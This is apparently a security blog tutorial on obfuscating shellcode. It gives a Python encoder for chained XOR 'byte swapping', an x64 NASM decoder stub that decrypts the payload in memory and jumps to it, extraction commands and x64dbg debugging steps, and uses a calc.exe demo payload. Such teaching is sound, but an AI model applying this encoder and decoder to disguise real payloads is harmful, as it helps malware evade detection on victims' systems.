{{tag>IT-Security Windows Kali shellcode blog english}} ====== Obfuscation: ByteSwapping ====== {{it-security:blog:2024-320-byteswap-header.webp?400|}} An object with a different appearance always fulfils the same function. In the last post, I decrypted an encrypted shellcode in the working memory and had it executed. As encryption, I converted each byte with an XOR calculation. Now I would like to bring a little more dynamism into the encryption to make decrypting the shellcode a little more difficult. \\ \\ ===== Preliminary considerations ===== How do I get the statics given by the XOR key? Instead of calculating every byte with the key, I only do this for every second byte. I then encrypt the omitted bytes with the result of the previous one: ((Note: even and odd refers to the offset, so byte 1 at offset 0 is even and byte 2 is odd)). )) $EncryptedByte(even) = Byte(even) \wedge Key(XOR)$ $EncryptedByte(odd) = Byte(odd) \wedge EncryptedByte(even)$ ==== Example ==== This example shows that the output is very different simply by choosing a different XOR key. ^ ^Byte 1 ^Byte 2 ^Byte 3 ^Byte 4 ^ |**unencrypted**|''%%01%%''|''%%AF%%''|''%%45%%''|''%%C3%%''| |**XOR value 1** |''%%15%%''|''%%14%%''|''%%15%%''|''%%50%%''| |**encrypted** |''%%14%%''|''%%BB%%''|''%%50%%''|''%%93%%''| |**XOR value 2** |''%%57%%''|''%%56%%''|''%%57%%''|''%%12%%''| |**encrypted** |''%%56%%''|''%%F9%%''|''%%12%%''|''%%D1%%''| ===== The code ===== ==== Step 1: Python Encoder ==== The corresponding Python function is quickly explained: * Function call with the bytes to be encoded and the desired XOR key * Initialise the required variables * A ''%%for%%'' loop runs through each byte * If the division by 2 results in a remainder of 0, we have an even byte * Encrypt the byte with the XOR key * Add the encrypted byte to the byte array * Store the encrypted byte for the next run * Otherwise an odd one * Encrypt the byte with the one from the previous pass * Add the encrypted byte to the byte array * Return the byte array as the result def encrypt(data: bytes, xor_key: int) -> bytes: transformed = bytearray() prev_enc_byte = 0 for i, byte in enumerate(data): if i % 2 == 0: # even byte positions enc_byte = byte ^ xor_key else: # odd byte positions enc_byte = byte ^ prev_enc_byte transformed.append(enc_byte) prev_enc_byte = enc_byte return bytes(transformed) ==== Step 2: Assembly ==== Now the assembly must be created, which cancels the encryption. You can find the complete code at the end of the article. === Step 2.1: Initialisation and JMP-CALL-POP === _start: xor rax, rax xor rbx, rbx xor rcx, rcx mov cl, 242 jmp short call_decoder * We set the registers ''%%RAX, RBX and RCX%%'' to ''%%0%%'' * The register ''%%CL%%'' gets the length of the shellcode * We jump in front of the shellcode call_decoder: call decoder Shellcode: db 0x75,0x3d...0x75 * We call the function ''%%Decoder%%'' and the address of the next instruction (our shellcode) is read from the register ''%%RSP%%'' on the stack decoder: pop rsi * and finally we load the shellcode address from the stack into the register ''%%RSI%%'' === Step 2.2: Decoder loop === decode_loop: test rcx, rcx jz Shellcode * Check the value of ''%%RCX%%'' * If ''%%RCX%%'' equals ''%%0%%''then jump to the shellcode mov rdx, rsi sub dl, Shellcode test dl, 1 jnz odd_byte * ''%%RDX%%'' gets the current position we are at * We subtract the address of the shellcode from our current position * A bit-by-bit comparison shows us whether the calculated index is even or odd * If odd, jump to ''%%odd_byte%%'' But how does the comparison work here? The instruction ''%%TEST%%'' checks by comparing bits. Let's take a look at the numbers 1 - 4 in binary notation: ^Decimal ^1 ^2 ^3 ^4 ^ |**Binary**|0001|0010|0011|0100| Even numbers always have a 0 in the last bit and odd numbers have a 1. == Even numbers == mov al, [rsi] xor byte [rsi], 0x20 jmp post_processing * Move the current encrypted byte to the register ''%%AL%%'' for the next pass * Decrypt the byte with the XOR key ''%%0x20%%'' * Jump to ''%%post_processing%%'' == Odd numbers == odd_byte: xor byte [rsi], al * Decrypt the byte with the stored value from the previous pass == Post-processing == post_processing: inc rsi dec rcx jmp decode_loop * Increase ''%%RSI%%'' and thus set the current position one byte further * Reduce ''%%RCX%%'', the length of the shellcode * Jump back to the beginning of the loop === Step 2.3: Shellcode === When the conditions for the end of the loop are met, the system jumps directly to the decrypted shellcode and executes it. === Step 2.4: Compile and clean up === Now we can compile the code: nasm -f win64 poly2.asm -o poly.o I do the cleanup with [[https://github.com/psycore8/shencode|ShenCode]]: python shencode.py formatout -i poly2.o -s inspect ... 0x00000096: 20 00 50 60 48 31 c0 48 ... 0x00000400: a3 67 28 75 1a 00 00 00 * We identify the beginning and the end of the opcode python shencode.py extract -i poly2.o -o poly2.raw --start-offset 100 --end-offset 404 * Then we extract it and save it in a new file python shencode.py formatout -i poly2.raw --syntax c ... "\x48\x31\xc0...x67\x28\x75"; * and we can output the shellcode as a C++ variable ==== Step 3: Injecter ==== Now we need an injector to place the shellcode in the working memory. We can copy this from the [[en:it-security:blog:obfuscation_polymorphic_in_memory_decoder#injectcpp|previous post]] ===== Debug ===== After compiling the injector, we can start debugging. I use x64dbg for this. {{it-security:blog:2024-320-byteswap-1.png|}} We press F9 (Execute) and land in the entry point of the application. From here we search for the function ''%%main()%%'' {{it-security:blog:2024-320-byteswap-2.png|}} Once this is found, we select the line and press F4 (Execute to selection) and jump to the function with F7. {{it-security:blog:2024-320-byteswap-3.png|}} The last call statement before ''%%RET%%'' calls the shellcode. We select this line and set a breakpoint with F2. Then press F9 and the programme stops at the breakpoint. We jump in with F7. {{it-security:blog:2024-320-byteswap-4.png|}} We are now in the shellcode. The area below the CALL statement is our encrypted shellcode. Everything above it is the decoder routine. If we now execute CTRL+F7, the execution is slowed down and animated. Here you can see very clearly how the lower area is decrypted. {{it-security:blog:2024-320-byteswap-ani-1.gif|}} I have used my Calc-Payload again at this point, so that at the end ''%%calc.exe%%'' is executed. ===== Repository ===== You can find the complete shellcode here: * Shellcode: [[https://github.com/psycore8/Shellcodes/blob/main/SwapBytes/poly2.asm|poly2.asm]] * [[https://github.com/psycore8/shencode|ShenCode]] ---- ~~DISCUSSION~~